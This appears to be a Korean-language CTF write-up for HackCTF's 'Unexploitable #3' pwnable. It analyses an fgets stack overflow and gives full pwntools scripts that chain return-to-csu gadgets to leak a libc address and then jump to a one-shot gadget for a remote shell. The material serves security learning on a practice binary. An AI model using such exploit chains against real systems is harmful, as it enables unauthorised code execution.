tmxklab
[HackCTF/Pwnable] Unexploitable #3 본문
1. 문제
nc ctf.j0n9hyun.xyz 3034
1) mitigation 확인
2) 문제 확인
- 입력 값을 받고 종료
3) 코드 흐름 확인
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-10h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
fwrite("Impossible RTL ha? Nothing for you!\n", 1uLL, 0x24uLL, stdout);
fgets(&s, 256, stdin);
return 0;
}
- fgets()를 통해 s[rbp-0x10]변수에 256bytes만큼 입력을 받을 수 있음
3-2) gift()
size_t gift()
{
return fwrite("Useless gadget for you!", 1uLL, 0x17uLL, stdout);
}
2. 접근방법
먼저 fwrite로 fgets@got값 출력해서 libc base주소를 릭해보자
fwrite 호출 전 인자가 어느 레지스터에 들어가는지 확인
- rcx(stream) → stdout
- edx(count) → 출력할 문자열 길이
- esi(size) → char(1byte)
- edi(ptr) → 문자열 저장된 주소
가젯 확인 결과
- rcx, rdx, rsi, rdi를 pop해줄 수 있는 가젯이 보이질 않음
- rtc를 하기 위한 가젯은 보임
rtc를 이용하면 rdx, rsi, rdi값에 세팅이 가능하므로 rtc를 이용하고 추가로 rcx를 세팅할 수 있는 가젯을 찾아보자
- 위 두 개의 가젯을 이용하여 rcx값을 세팅할 수 있음
- mov_rcx : 0x400658
- pop_rdi : 0x400743
이제 rcx(stream)에 세팅할 FILE stream 주소 값을 확인해보자
- stdout : 0x601050
마지막으로 rtc를 수행하기 위해 __libc_init_csu함수의 가젯을 확인해보자
- init stage 1 : 0x40073a
- init stage 2 :0x400720
이제 rtc를 이용하여 fgets주소를 릭 해보자
익스 코드)
from pwn import *
context.log_level="debug"
p = process("./unex")
#p = remote("ctf.j0n9hyun.xyz", 3034)
e = ELF("./unex")
gdb.attach(p, """b*0x4006d9""")
fwrite_got = e.got['fwrite']
fgets_got = e.got['fgets']
main_addr = e.symbols['main']
init_stage1 = 0x40073a
init_stage2 = 0x400720
pop_rdi = 0x400743
mov_rcx = 0x400658
stdout = 0x601050
# 1. leak fgets addr
payload = "A"*0x18
payload += p64(pop_rdi)
payload += p64(stdout)
payload += p64(mov_rcx)
payload += p64(init_stage1)
payload += p64(0) # pop rbx
payload += p64(1) # pop rbp
payload += p64(fwrite_got) # pop r12
payload += p64(len(hex(fgets_got))) # pop r13
payload += p64(1) # pop r14
payload += p64(fgets_got) # pop r15
payload += p64(init_stage2)
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(4)
payload += p64(5)
payload += p64(6)
payload += p64(7)
payload += p64(main_addr)
p.sendlineafter("you!\n", payload)
p.interactive()
확인결과)
- fgets 주소 : 0x7f390cc45ae0
릭한 결과를 토대로 libc database에서 필요한 함수 offset 구하기
공격 프로세스)
- rtc를 이용하여 fgets주소를 릭하고 다시 메인 함수로 돌아온다.
- 릭한 결과를 토대로 libc base주소를 알아내고 원샷 가젯의 주소를 구한다.
- ret에 원샷 가젯을 박아버린다.
3. 풀이
처음에 원샷 가젯을 구하려면 libc가 필요해서 그냥 system() 주소와 binsh주소를 구해서 rtl을 진행하였다.
근데 로컬에서는 쉘을 딸 수 있었지만, 리모트에서는 에러가 출력되면서 쉘을 따지 못하였다.
<< 로컬에서 시도했을 때 >>
<< 원격에서 시도했을 때 >>
뭔가 binsh문자열이 잘못 들어간 것 같다. offset이 조금 다른가..
그래서 원샷 가젯을 사용하기로 하였다.
- oneshot_gadget : 0x45226
1) 익스코드
from pwn import *
context.log_level="debug"
#p = process("./unex")
p = remote("ctf.j0n9hyun.xyz", 3034)
e = ELF("./unex")
#gdb.attach(p, """b*0x4006d9""")
fwrite_got = e.got['fwrite']
fgets_got = e.got['fgets']
main_addr = e.symbols['main']
init_stage1 = 0x40073a
init_stage2 = 0x400720
pop_rdi = 0x400743
mov_rcx = 0x400658
stdout = 0x601050
fgets_offset = 0x6dae0
oneshot_offset = 0x45226
# 1. leak fgets addr
payload = "A"*0x18
payload += p64(pop_rdi)
payload += p64(stdout)
payload += p64(mov_rcx)
payload += p64(init_stage1)
payload += p64(0) # pop rbx
payload += p64(1) # pop rbp
payload += p64(fwrite_got) # pop r12
payload += p64(len(hex(fgets_got))) # pop r13
payload += p64(1) # pop r14
payload += p64(fgets_got) # pop r15
payload += p64(init_stage2)
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(4)
payload += p64(5)
payload += p64(6)
payload += p64(7)
payload += p64(main_addr)
p.sendlineafter("you!\n", payload)
fgets_addr = u64(p.recv(6).ljust(8, "\x00"))
libc_base = fgets_addr - fgets_offset
oneshot_addr = libc_base + oneshot_offset
log.info("libc_base addr : "+hex(libc_base))
log.info("fgets addr : "+hex(fgets_addr))
log.info("oneshot addr : "+hex(oneshot_addr))
# 2. rtl oneshot gadget
payload = "A"*0x18
payload += p64(oneshot_addr)
p.sendlineafter("you!\n", payload)
p.interactive()
2) 실행결과
4. 몰랐던 개념
추가로 system(binsh)이 안되서 fgets를 이용하여 bss영역에 binsh문자열을 박기로 하였는데 fgets에서 stdin인자를 정리해주는 rdx관련 가젯이 없어서 못했다.
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] ChildFSB (2) | 2020.08.15 |
---|---|
[HackCTF/Pwnable] wishilist (0) | 2020.08.15 |
[HackCTF/Pwnable] ChildHeap (0) | 2020.08.15 |
[HackCTF/Pwnable] babyfsb (0) | 2020.08.15 |
[HackCTF/Pwnable] j0n9hyun's secret (0) | 2020.08.15 |